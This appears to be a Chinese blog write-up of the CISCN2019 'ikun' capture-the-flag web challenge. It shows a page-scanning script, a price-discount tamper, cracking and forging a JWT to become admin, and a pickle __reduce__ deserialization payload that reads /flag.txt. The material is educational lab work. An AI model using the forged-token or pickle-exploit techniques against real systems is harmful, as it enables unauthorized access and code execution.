[CISCN2019 华北赛区 Day1 Web2]ikun

知识点:JWT,python反序列化,pickle,__reduce__魔术方程.

解题过程

1. 注册账号,然后登录

这里我是随便注册了账号,账号和密码都是555
在这里插入图片描述

2. 找到lv6.png

进入主站,提示我们要找到lv6.png
在这里插入图片描述
这个使用一个python脚本,在page=181的时候存在lv6.png。

#encoding:utf-8
import requests
import base64

s = requests.session()
url = "http://7d50688f-e416-4b48-a04e-48130e08c01a.node3.buuoj.cn/shop?page="

for i in range(1,500):
    url2 = url + str(i)
    ra = s.get(url = url2)
    if "lv6.png" in ra.text:
        print(i)

3. 使用burpsuite抓包,修改discount

去购买这个lv6的账号
在这里插入图片描述
我们的本金只有1000,不是很够,可以通过进行抓包,修改discount(折扣)解决
在这里插入图片描述然后提示/b1g_m4mber

4. JWT

4.1 JWT是个啥?

推荐一个讲解JWY的文章 认识JWT
个人理解:JWT和session有相似的地方,可以比较着进行理解。
JWT由三个部分组成,分别为header,payload,signature,每个部分直接使用.进行连接。一个典型的JWT是这样的xxxxx.yyyyy.zzzzz。在本题中,JWT是这样的
在这里插入图片描述再来看本题,继续访问/b1g_m4mber,提示需要admin才能访问
在这里插入图片描述那么就需要修改我们的JWT信息,来进行绕过。
将JWT进行base64解码,可以看到前半部分,包括用户名,编码方式,然而后半部分的密钥显示乱码,这就需要一些操作来得到密钥。

在这里插入图片描述

4.2 c-jwt-cracker工具

在下面的超链接是gitee的一个文件,下载下来。
P4stry / c-jwt-cracker
在该目录下打开终端,执行如下命令

apt-get install libssl-dev
make
./jwtcrack eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJ1c2VybmFtZSI6IjU1NSJ9.3XoV8x-UuWSIk9lJj002LpELYQphrgttlbuSm2ysSwE

在这里插入图片描述得到密钥1Kun

4.3 伪造JWT

JWT伪造工具
将username数值替换为admin,将密钥改为1Kun,即可得到伪造后的JWT

eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJ1c2VybmFtZSI6ImFkbWluIn0.40on__HQ8B2-wM1ZSwax3ivRK4j54jlaXv-1JjQynjo

在这里插入图片描述

4.4 抓包替换JWT

将伪造好的JWT替换原来的JWT
在这里插入图片描述

5. python反序列化

进来之后,查看f12,发现下载链接。
在这里插入图片描述下载之后,在源码中发现admin.py中有python反序列化。

import tornado.web
from sshop.base import BaseHandler
import pickle
import urllib


class AdminHandler(BaseHandler):
    @tornado.web.authenticated
    def get(self, *args, **kwargs):
        if self.current_user == "admin":#验证是否账户时是admin,这也是上面我们为什么要进行JWT伪造的原因
            return self.render('form.html', res='This is Black Technology!', member=0)
        else:
            return self.render('no_ass.html')

    @tornado.web.authenticated#自动验证登录信息
    def post(self, *args, **kwargs):
        try:
            become = self.get_argument('become')
            p = pickle.loads(urllib.unquote(become))#对传入的become进行操作
            return self.render('form.html', res=p, member=1)#向form.html传递参数
        except:
            return self.render('form.html', res='This is Black Technology!', member=0)

这里有个可以利用的地方就是

 become = self.get_argument('become')
            p = pickle.loads(urllib.unquote(become))
            return self.render('form.html', res=p, member=1)

服务端会对我们传入的become参数进行操作,并且用到pickle这个东西,我们可以利用其进行文件读取,并将flag传回form.html中。
这里摘录下大佬的文章,Python魔法方法指南
同时还有关于pickle和reduce实例用法的链接:在pickle模块的情况下,reduce函数是如何工作的?
在这里插入图片描述

在python2的环境下运行become.py

import pickle
import urllib

class payload(object):
    def __reduce__(self):
       return (eval, ("open('/flag.txt','r').read()",))

a = pickle.dumps(payload())
a = urllib.quote(a)
print a

得到字符串become

c__builtin__%0Aeval%0Ap0%0A%28S%22open%28%27/flag.txt%27%2C%27r%27%29.read%28%29%22%0Ap1%0Atp2%0ARp3%0A.

最后将得到的字符串替换become
在这里插入图片描述即可得到flag
在这里插入图片描述

相关链接

  1. Python魔法方法指南
  2. 在pickle模块的情况下,reduce函数是如何工作的?
  3. urllib.unquote()
  4. self.render
  5. tornado 之authenticated和session 简单登录
  6. P4stry / c-jwt-cracker
  7. 认识JWT
  8. JWT伪造工具
  • 1
    点赞
  • 2
    收藏
    觉得还不错? 一键收藏
  • 0
    评论
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值